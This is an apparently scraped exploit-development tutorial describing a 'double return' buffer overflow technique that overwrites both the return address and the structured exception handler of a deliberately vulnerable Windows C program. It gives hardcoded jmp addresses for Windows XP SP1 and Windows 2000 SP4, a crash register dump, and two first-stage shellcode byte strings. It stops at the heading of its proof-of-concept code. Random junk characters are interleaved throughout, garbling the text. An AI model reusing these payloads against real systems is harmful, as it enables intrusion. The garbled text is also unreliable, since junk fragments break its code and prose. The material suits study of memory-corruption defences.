The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. ! b8 M5 D1 c4 H1 v+ Z ) {- w8 I2 K5 D( B% x- i[Buf] <- Shellcode & v; C/ H' B4 u1 L- r: w1 _6 A[Return Address] <- jmp register (for Windows XP sp1) 0 ~# v( `. M i, X[Various Stack Data] <- Junk 8 R# g" y6 R$ a[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward , O! n) u" `9 b F8 P( A2 s; r! V[SE Handler] <- jmp register (for Win2k sp4) & Q+ S% F: s- u& V8 I4 w[Stage1 Shellcode] <- stage1 shellcode for win2k 8 F- F: j. q; Q; h' a& y# k6 ~7 O7 i ^4 D. B: c8 [3 h7 P! mIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses9 F5 C( @) K7 X
, A; \- U6 X3 r6 i# t
Necessary Tools: $ f# f$ }! H* z6 p" q4 M- OllyDBG % N: N9 a7 b( Q7 v) h6 H7 U7 Y- C/C++ Compiler" U$ \4 @2 I% ?2 C8 l
- nasm + A* _# H* o( ^/ `9 P- Sac: z% I* ^1 n8 F+ \" d
% }- }' j8 E6 H0 u) m
Vulnerable Code:) h7 G' T) W3 Z' g+ | m
//lamebuf.c . g! s) j- R, Z! H6 y#include<stdio.h>; I; t' W" ^7 `; n; Z
#include<string.h>1 p8 T* x4 r {! }
#include<windows.h> 6 B6 K8 U% H+ s3 aint main(int argc,char *argv[]){ 0 O( i/ |- O' |+ U: y, m* `& m5 l% e' Y$ F
char buf[512];# r6 s8 X" ~) n* s, E
char buf1[1024]; // <- simulate a stack s% l' P K0 X
//DebugBreak(); & `1 i9 K' ?+ ~. W. a6 Pif (argc != 2){ return -1; } / B) B/ g$ M6 [$ S# g % t: n* a6 R9 n& Nstrcpy(buf,argv[1]);, u1 }) S) J$ j p; |, M6 X7 V$ q
return 0x0; & ]2 b" p, g1 i8 W}; q% S. @5 t( _, b
% U- F! h- u; W% H3 V, Y& v, J: i
Getting Started: * B8 E) D# U: \) H7 r% kBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:( u4 D9 F, s( H
1 L! u& d- \; E G' _+ \EAX 00000000$ |6 i( }3 Z7 b9 q( m- P" Z
ECX 00321404 0 I: u5 m# ]- f" Y* LEDX 00414141 8 {" `5 z. q; n! n( n$ H5 W9 Y' CEBX 7FFDF000 ! _$ @+ l1 S7 _" g# ^ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ( G. I! l! _. |3 a3 vEBP 41414141" K/ S% P% @4 g. b# }, o
ESI 77D4595F ) Y% ^5 u) @ u7 R6 y+ z. k1 {EDI 77F59037 ntdll.77F59037# C; U0 }0 y+ ^+ }! j( z( N
EIP 414141417 k4 d0 q& [ v. ]2 M5 x0 A: a
6 [6 L- S) }" i/ N
Lets take a look at the stack and see what happened to the default exception handler:6 r6 z; a7 T: O0 t& k
0x0012FFB0 41414141 Pointer to next SEH Record: h; Q R; ?+ Q! x) M6 b m8 Z' B
0x0012FFB4 41414141 SE Handler ' b: D' N) m! o! P# b; d' ^' Z0 H: F) D5 I- d
We successfully overwrote the return address and the default exception handler.) \5 |) Z3 ^* ~& e/ C6 a7 m
* {+ f0 J6 Z" d( e( F uPrimary Return Address (Windows XP SP1 EN): : M+ i- G4 M* K; M7 mThe first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:, A6 Z, g- i4 r1 e7 A6 p3 t# g
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" A) h) b' l0 R! S( F: G 5 x. g1 c$ I2 i3 b3 {Secondary Return Address (Windows 2000 SP4 EN): / Z! a+ k! a* }% \4 X0 lThe secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:% H2 \3 a( Q2 R R- F2 r/ U9 B
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" * c, O$ G! R" e0 o) f$ f& K) X( a# E4 T3 I% J- Y8 T2 s
Proof Of Concept: 0 I4 z2 z: }, Z! i// exploit.c ' Z _( N0 ^& R0 p// Tal zeltzer - [Double Return] //' M, q3 Q3 i" J% t0 ^